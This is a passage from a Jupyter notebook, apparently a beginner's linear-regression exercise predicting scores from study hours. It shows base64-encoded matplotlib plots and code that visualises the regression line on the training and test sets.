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", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "# PLotting the training set\n", - "plt.scatter(X_train,y_train, color='red')\n", - "plt.plot(X_train,regressor.predict(X_train),color='blue')\n", - "plt.title('(Trainig set)')\n", - "plt.xlabel('Hours')\n", - "plt.ylabel('Scores')\n", - "plt.show()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Visualising the Test set results" - ] - }, - { - "cell_type": "code", - "execution_count": 22, - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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